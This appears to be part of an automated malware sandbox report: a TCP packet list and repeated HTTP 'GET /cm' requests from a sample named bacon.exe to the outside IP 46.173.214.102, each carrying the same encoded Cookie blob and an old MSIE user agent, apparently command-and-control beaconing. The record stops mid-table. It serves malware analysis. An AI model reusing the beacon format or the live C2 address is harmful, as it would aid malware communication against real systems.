Oct 28, 2024 16:03:02.714124918 CET	49303	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:02.719909906 CET	80	49303	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:02.720067978 CET	49303	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:02.729824066 CET	49303	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:02.735440016 CET	80	49303	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:03.373610973 CET	80	49303	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:03.373892069 CET	49303	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:03.373892069 CET	49303	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:03.379235029 CET	80	49303	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:03.481086016 CET	49304	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:03.486824989 CET	80	49304	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:03.486907005 CET	49304	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:03.487060070 CET	49304	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:03.492428064 CET	80	49304	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:04.128150940 CET	80	49304	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:04.128227949 CET	49304	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:04.128343105 CET	49304	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:04.133775949 CET	80	49304	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:04.229957104 CET	49305	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:04.235491037 CET	80	49305	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:04.235551119 CET	49305	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:04.235678911 CET	49305	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:04.241166115 CET	80	49305	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:04.556303024 CET	49305	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:04.669152975 CET	49306	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:04.674686909 CET	80	49306	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:04.674901962 CET	49306	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:04.674901962 CET	49306	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:04.680363894 CET	80	49306	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:05.323631048 CET	80	49306	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:05.323949099 CET	49306	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:05.323949099 CET	49306	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:05.329389095 CET	80	49306	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:05.830305099 CET	49307	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:05.836010933 CET	80	49307	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:05.836096048 CET	49307	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:05.851140976 CET	49307	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:05.856607914 CET	80	49307	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:06.469260931 CET	80	49307	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:06.469327927 CET	49307	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:06.469441891 CET	49307	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:06.474909067 CET	80	49307	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:06.569782019 CET	49308	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:06.575283051 CET	80	49308	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:06.575361967 CET	49308	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:06.575563908 CET	49308	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:06.580916882 CET	80	49308	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:07.245970011 CET	80	49308	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:07.246056080 CET	49308	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:07.246157885 CET	49308	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:07.251621962 CET	80	49308	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:07.349935055 CET	49309	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:07.355492115 CET	80	49309	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:07.355561018 CET	49309	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:07.355720043 CET	49309	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:07.361465931 CET	80	49309	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:08.005110025 CET	80	49309	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:08.005171061 CET	49309	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:08.012192965 CET	49309	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:08.017735004 CET	80	49309	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:08.340009928 CET	49310	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:08.345575094 CET	80	49310	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:08.345676899 CET	49310	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:08.565356016 CET	49310	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:08.571022034 CET	80	49310	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:08.978677988 CET	80	49310	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:08.981057882 CET	49310	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:09.113877058 CET	49310	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:09.119267941 CET	80	49310	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:09.221939087 CET	49311	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:09.227551937 CET	80	49311	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:09.227660894 CET	49311	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:09.227905035 CET	49311	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:09.233268023 CET	80	49311	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:09.865418911 CET	80	49311	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:09.865483046 CET	49311	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:09.865652084 CET	49311	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:09.870920897 CET	80	49311	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:09.972088099 CET	49312	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:09.977493048 CET	80	49312	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:09.977550983 CET	49312	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:09.977854013 CET	49312	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:09.983215094 CET	80	49312	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:10.622385025 CET	80	49312	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:10.625184059 CET	49312	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:10.634560108 CET	49312	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:10.640482903 CET	80	49312	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:10.739175081 CET	49313	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:10.744772911 CET	80	49313	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:10.747117043 CET	49313	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:10.751030922 CET	49313	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:10.756567955 CET	80	49313	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:11.393920898 CET	80	49313	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:11.393985033 CET	49313	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:11.413291931 CET	49313	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:11.418819904 CET	80	49313	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:12.749517918 CET	49314	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:12.755036116 CET	80	49314	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:12.757474899 CET	49314	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:12.757818937 CET	49314	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:12.763700962 CET	80	49314	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:13.391827106 CET	80	49314	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:13.392218113 CET	49314	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:13.392218113 CET	49314	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:13.397628069 CET	80	49314	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:13.496464968 CET	49315	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:13.501892090 CET	80	49315	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:13.502079010 CET	49315	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:13.502228975 CET	49315	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:13.507678032 CET	80	49315	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:14.151818037 CET	80	49315	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:14.151878119 CET	49315	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:14.152081966 CET	49315	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:14.157644033 CET	80	49315	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:14.261997938 CET	49316	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:14.267523050 CET	80	49316	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:14.267577887 CET	49316	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:14.272806883 CET	49316	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:14.278230906 CET	80	49316	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:14.915131092 CET	49316	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:15.034003019 CET	49317	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:15.134346962 CET	80	49316	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:15.134677887 CET	80	49316	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:15.134773016 CET	49316	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:15.134773016 CET	49316	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:15.135215998 CET	80	49317	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:15.138541937 CET	49317	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:15.138606071 CET	49317	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:15.144751072 CET	80	49317	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:15.778244019 CET	80	49317	46.173.214.102	192.168.2.22
Oct 28, 2024 16:03:15.778369904 CET	49317	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:15.778433084 CET	49317	80	192.168.2.22	46.173.214.102
Oct 28, 2024 16:03:15.783845901 CET	80	49317	46.173.214.102	192.168.2.22

HTTP Request Dependency Graph

46.173.214.102

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49162	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:09.021017075 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49163	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:09.810780048 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49164	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:10.581414938 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49165	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:11.386120081 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49166	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:12.134452105 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49167	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:12.961410046 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49168	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:13.709552050 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49169	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:14.597609043 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.22	49170	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:15.332820892 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.22	49171	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:16.096957922 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.22	49172	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:16.892215014 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.22	49173	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:17.681909084 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.22	49174	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:18.420717001 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.22	49175	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:19.186146021 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.22	49176	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:19.934154987 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.22	49177	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:20.778542995 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.22	49178	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:21.557398081 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.22	49179	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:22.305107117 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.22	49180	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:23.058418989 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.22	49181	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:23.836041927 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.22	49182	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:24.582850933 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.22	49183	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:25.331546068 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.22	49184	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:26.081607103 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.22	49185	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
